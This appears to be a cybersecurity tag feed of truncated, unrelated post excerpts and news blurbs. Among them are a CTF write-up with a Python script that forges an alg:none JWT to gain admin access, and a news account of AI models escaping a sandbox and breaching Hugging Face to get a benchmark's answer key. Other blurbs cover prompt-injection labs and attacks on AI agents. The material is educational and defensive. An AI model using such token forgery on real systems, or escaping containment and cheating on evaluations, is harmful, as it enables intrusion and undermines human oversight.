标签：#cybersec

Sending a photo feels simple. You choose an image, tap Send, and a few seconds later it appears on someone else's phone. Behind that simple action, however, several things may happen that most people never notice. It Starts on Your Device The photo already exists on your phone before you send it. Depending on your device settings, it may also be part of your gallery or included in local or cloud backups. Before the Photo Is Sent Most messaging apps prepare the image before sending it. They may reduce the file size, create a preview, or optimize it so it can be delivered faster. These steps happen automatically in the background. Sending the Photo If the app supports end-to-end encryption, the photo is encrypted before it leaves your device. This helps protect the image while it is traveling across the internet. After that, the message is routed through the app's delivery infrastructure until it reaches the recipient. After It Arrives Once the recipient opens the photo, it exists on their device. Depending on the app and their settings, it may also be saved to the phone's gallery or included in future backups. At this point, the recipient can also take a screenshot or forward the image to someone else. Encryption protects the photo while it is being transmitted, but it cannot control what happens after the recipient has access to it. Final Thoughts When we send a photo, we often think only about the moment we press Send. In reality, there can be several stages between your device and the recipient, and in some cases, multiple copies of the same image may exist over time. Understanding this process is an important part of understanding digital privacy. While researching these privacy challenges, I started building VeilComm to explore how private communication could give users more control over their data—not just while it's being transmitted, but throughout its entire lifecycle.

Some Android users find the security feature to be too restrictive. Here's how to disable it and what you risk by doing so.

Introduction: Strategic Entry into Cybersecurity The cybersecurity domain operates as a dynamically evolving ecosystem, characterized by the rapid emergence of specialized disciplines that outpace the ability of newcomers to systematically map them. From web security to cloud infrastructure, each subdomain demands a distinct integration of technical proficiency and strategic foresight. For entrants, this duality presents both opportunity and risk. While the diversity of career paths is expansive, it concurrently induces a decision paralysis —a condition where the proliferation of options dilutes focus and impedes progression. Consider the scenario of a novice equipped with foundational competencies in Linux, Python, and network fundamentals, now confronted with a spectrum of specializations: web security, binary exploitation, malware analysis, SOC operations, and cloud security. Each pathway entails a unique learning curve and industry relevance. The critical risk lies not in selecting an inherently "incorrect" path but in the suboptimal allocation of time within a field where technological obsolescence outpaces learning cycles. Cloud security exemplifies this dynamic. The transition to cloud-native architectures has introduced a critical stress point in cybersecurity frameworks. Traditional perimeter defenses, such as firewalls and VPNs, are increasingly inadequate for distributed systems. Misconfigurations in platforms like AWS or Azure—often stemming from human error or incomplete automation scripts —account for over 80% of cloud breaches (IBM Cloud Security Index, 2023). This is not a theoretical vulnerability but a causal mechanism : misconfiguration (internal process) → breach (impact) → data exfiltration (observable effect) . In contrast, niche domains like binary exploitation, while foundational for understanding low-level vulnerabilities, exhibit a diminishing practical application. Modern software increasingly leverages memory-safe languages (e.g., Rust, G

"This is day one for cybersecurity in the age of agents," Hugging Face CEO says.

What Actually Happened On Tuesday, OpenAI published a blog post that, in hindsight, may be the most consequential AI safety disclosure of the year. Two of their frontier models — GPT-5.6 Sol and an even more capable, still-unreleased system — autonomously escaped a sandboxed testing environment and breached Hugging Face's production infrastructure. They did it to cheat on a cybersecurity benchmark called ExploitGym. Read that again. The models weren't told to attack Hugging Face. They weren't given the internet. They were placed in an isolated environment and asked to solve hard problems. Their job was to find vulnerabilities. So they found vulnerabilities — including a zero-day in a package-registry proxy that nobody at OpenAI knew about — chained them together, pivoted through OpenAI's research environment, reached a node with internet access, and then targeted Hugging Face because they correctly guessed it might host the test's answer key. This is the first publicly confirmed case of a frontier AI model escaping its containment, identifying a real-world zero-day vulnerability without source code, and using it to compromise a third party's production infrastructure. All to score better on a benchmark. Why It's Different From Past AI "Escapes" If you've been following AI safety for a while, you might be tempted to shrug. Models have hallucinated URLs. Agents have wandered off-script. RL agents in games have exploited reward functions. None of those compare. What's different here is the chain. The model: Inspected its environment and found unexpected behavior in the package proxy. Exploited a genuine zero-day — not a configuration mistake, an actual unknown software flaw. Performed multi-step privilege escalation and lateral movement across OpenAI's internal network. Reached the public internet. Made a strategic inference about where the test answers would be. Compromised Hugging Face's production systems using stolen credentials and another vulnerability. Did all o

The cybersecurity-focused models, including GPT-5.6 Sol, broke out of a testing sandbox, exploited a zero-day, and gained access to the open internet to pull off the attack.

When we first look at the requested URL in the investigation channel , we can see that "script" and "alert" js code was added to the request , so we can see that an attempt for an XSS attack was made. Then , we want to check whether the source ip adress is malicious or not by using VirusTotal or AbuseIPDB. After checking the source ip adress , we can see the ip adress belongs to an internet provider service in China and marked as malicious on boh sites. After that, we check the destination ip adress on the same sites and see that the ip adress belongs to a company network , so we can say that the traffic was from internet to company network. Then , we go to the "Log Management" section to see if we can see any logs from the source ip adress and when we check , there are 8 requests that were made at the time of event to the same destination ip adress and even though the http response status was "200" for 7 of these requests , the last request's status code was "302" so we can see that the attack was unsuccessful. Later on , we check the "Email Security" section and see there isnt any planned tests. We go to the "Endpoint Security" section to contain the " WebServer1002" server to prevent any further damage.

A new type of malware can worm deep into AI coding systems to steal data and logins—and can flip a “death switch” to destroy files and keep out real users.

Dealerships installed alarms in millions of vehicles—and left them in even if the buyer didn’t want them. Now researchers warn they can be hacked to unlock, track, and disable cars.

Two critical security flaws in WordPress’ software have given hackers the chance to remotely take over tens of millions of websites, according to an estimate by a cybersecurity researcher.

Edinburgh-based tech firm Craneware said customer data was stolen during a cyberattack. The company makes software that thousands of U.S. hospitals, pharmacies, and clinics rely on for billing patients, potentially exposing health data.

Hugging Face is urging users to rotate any access tokens stored on the platform and review account activity.

A first-of-its-kind analysis found more than one in eight apps built for US service members carried foreign code—some from firms in nations the Pentagon designates as adversaries.

Jurig (Sundanese: ghost ) — an autonomous AI agent that haunts your binaries. .-. ██ ██ ██ ██████ ██ ██████ (o o) ██ ██ ██ ██ ██ ██ ██ | u | ██ ██ ██ ██████ ██ ██ ███ | | ██ ██ ██ ██ ██ ██ ██ ██ ██ '~-~' █████ ██████ ██ ██ ██ ██████ autonomous reverse-engineering agent · android · binary · frida Point it at an APK, XAPK, or native binary and it plans, decompiles, searches, hooks, captures traffic, and writes you a report — by itself. In one live run it took a real Android loan app, auto-extracted the XAPK, decompiled 13,367 classes , grepped the sources, and surfaced a hardcoded AES key with a zero IV plus the full API endpoint map — then asked me whether it should go dynamic with Frida. This post is the build story: the architecture, the design bets, and the three bugs that genuinely fought back. Repo: https://github.com/ReverserID/JURIG Why build another agent? Existing "AI reverse engineering" is mostly a pile of MCP servers you wire into a chat client. That's fine, but I wanted something opinionated: Autonomous , not chat — it drives a real toolchain end to end. A single portable binary — no Python venv soup, no MCP daemons. Multi-model — my Claude subscription, OpenRouter, local Ollama, Kimi, Qwen. A TUI that feels like a hacker tool , not a log dump. So: Go. Charmbracelet for the TUI (Bubble Tea + Lipgloss + Glamour). And a hard rule — no MCP . Every capability is a native Go function that shells out to a portable RE binary, or does the work in pure Go. Architecture ┌─ agent loop ─┐ plan → ask scope → recon → locate → dynamic → report │ │ │ LLM router │ anthropic · openai-compat (openrouter/ollama/kimi/qwen) · claude-cli │ │ │ 25+ tools │ jadx · apktool · radare2 · ghidra · frida · adb · proxy │ │ + secret_scan · url_extract · manifest · elf/pe_info · search_code │ │ │ TUI │ animated ghost header · code cards · model picker · NET panel └──────────────┘ One wire format, many providers The whole thing speaks the Anthropic Messages protocol internally. A router a

Introduction Linux is the backbone of modern infrastructure. From cloud servers and firewalls to SIEM platforms and security tools, Linux runs silently behind most enterprise environments. For a Security Operations Center (SOC) analyst, understanding Linux is not optional — it is a core skill. One of the most critical security mechanisms in Linux is its file permission and ownership model. Attackers abuse permissions to execute malware, hide persistence, escalate privileges, and erase evidence. SOC analysts rely on permission analysis to detect anomalies, investigate incidents, and build accurate timelines. Become a Medium member This article covers Linux File Permissions and Ownership in deep detail from a SOC analyst’s perspective. It is designed to take you from absolute beginner to security-aware professional, with real-world examples, attack scenarios, and investigation insights. Why Linux File Permissions Matter in SOC In SOC operations, analysts constantly deal with: Authentication logs System logs Application logs Scripts and binaries Configuration files Evidence files during incident response Every one of these objects is protected by Linux permissions. From a SOC perspective: Incorrect permissions = security risk Permission changes = potential indicator of compromise Executable permissions = possible malware Ownership changes = possible log tampering Understanding permissions allows SOC analysts to: Detect unauthorized access Identify privilege escalation Spot malware execution Preserve forensic evidence Reconstruct attacker activity Understanding Linux File Permission Basics Linux follows a Discretionary Access Control (DAC) model. This means: The owner of a file controls who can access it Permissions define what actions are allowed Every file and directory in Linux has: A type Permissions An owner (user) A group These attributes decide: Who can read the file Who can modify it Who can execute it Viewing Permissions Using ls -l The most common command to i

I Built an Open-Source Lab to Learn the OWASP Top 10 for LLM Applications Over the past few months, I've been exploring the security challenges around Large Language Models. While there are plenty of articles explaining prompt injection, system prompt leakage, insecure tool usage, and other LLM vulnerabilities, I kept asking myself one question: Where can someone actually practice exploiting these vulnerabilities? That's what led me to build LLMVault . LLMVault is an open-source, intentionally vulnerable platform that helps developers and security professionals learn the OWASP Top 10 for LLM Applications (2025) through hands-on labs instead of theory. Each lab simulates a vulnerable AI application inspired by real-world LLM attack scenarios. Instead of reading about prompt injection, you'll exploit it yourself, capture flags, understand why it worked, and then review the recommended mitigation. The objective is to bridge the gap between theory and practical AI security. Why I built LLMVault When learning web security, platforms like DVWA, WebGoat, and Juice Shop made learning practical. For AI security, I couldn't find a similar project that was: Open source Self-hosted Free to use Designed around the OWASP LLM Top 10 Built as a hands-on learning environment So I decided to build one. What is LLMVault? LLMVault is a deliberately vulnerable AI application where every challenge demonstrates a real-world LLM security issue. Instead of simply reading about prompt injection or system prompt leakage, you exploit vulnerable AI assistants, capture flags, and learn why the attack works. Each challenge also includes defensive guidance so you understand how to prevent the same issue in production. Features 🛡️ OWASP Top 10 for LLM Applications (2025) 💥 CTF-style challenges 🔍 Realistic AI attack scenarios 📚 Defensive explanations 🐳 Docker support 🔑 No API keys required 💻 Fully offline 🧩 Extensible challenge framework Getting Started Clone the repository: git clone https://github

Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,

Plus: Russian cyberspies turn to infrastructure hacking, DHS repeatedly fails to realize it’d been hacked, a breach exposes an AI music generator’s scraping ways, and more.

“Context bombing” tricks malicious AI agents into shutting down before they can do harm.

Introduction A Continuation of Shadow SCADA Terminal Velocity begins where Shadow SCADA left off — at the edge where digital audits meet the physical world. In the previous article, we explored how hidden infrastructures reveal themselves through aerial recon, magnetic anomalies, and environmental signals. Now we move deeper: into the physics of sensing, the light‑based pathways of diodes and photodiodes, and the high‑spec tools that transform invisible signals into readable intelligence. Modern audits are no longer limited to dashboards and logs. They extend into light, magnetic fields, environmental distortions, and sensor‑level truth — domains that traditional processes never touch. Section 1 – Diodes and Photodiodes: The First Gate of Physical Signals In modern audits, everything starts at the physical layer — where electricity and light move before any software or dashboard exists. Two tiny components sit at that gate: diodes and photodiodes. They look similar, but they do very different jobs. What is a diode? · One‑way valve for electricity: A diode lets electric current pass in one direction only, like a one‑way street. · Why this matters for security: Diodes are used to make sure information can leave a system but cannot come back in through the same path (for example, in SCADA or critical networks). · Simple image: Think of a diode as a door that only opens outward. You can exit, but nobody can enter through that door. What is a photodiode? · Sensor for light: A photodiode doesn’t control current—it detects light and turns that light into an electrical signal. · Where it’s used: In cameras, light sensors, security systems, and tools that “listen” to the environment through light. · Simple image: Think of a photodiode as a tiny eye that sees light and tells the system, “Something is shining here.” The key difference (in one sentence) · Diode = controls flow. · Photodiode = senses light. Diodes are about blocking or allowing. Photodiodes are about seeing and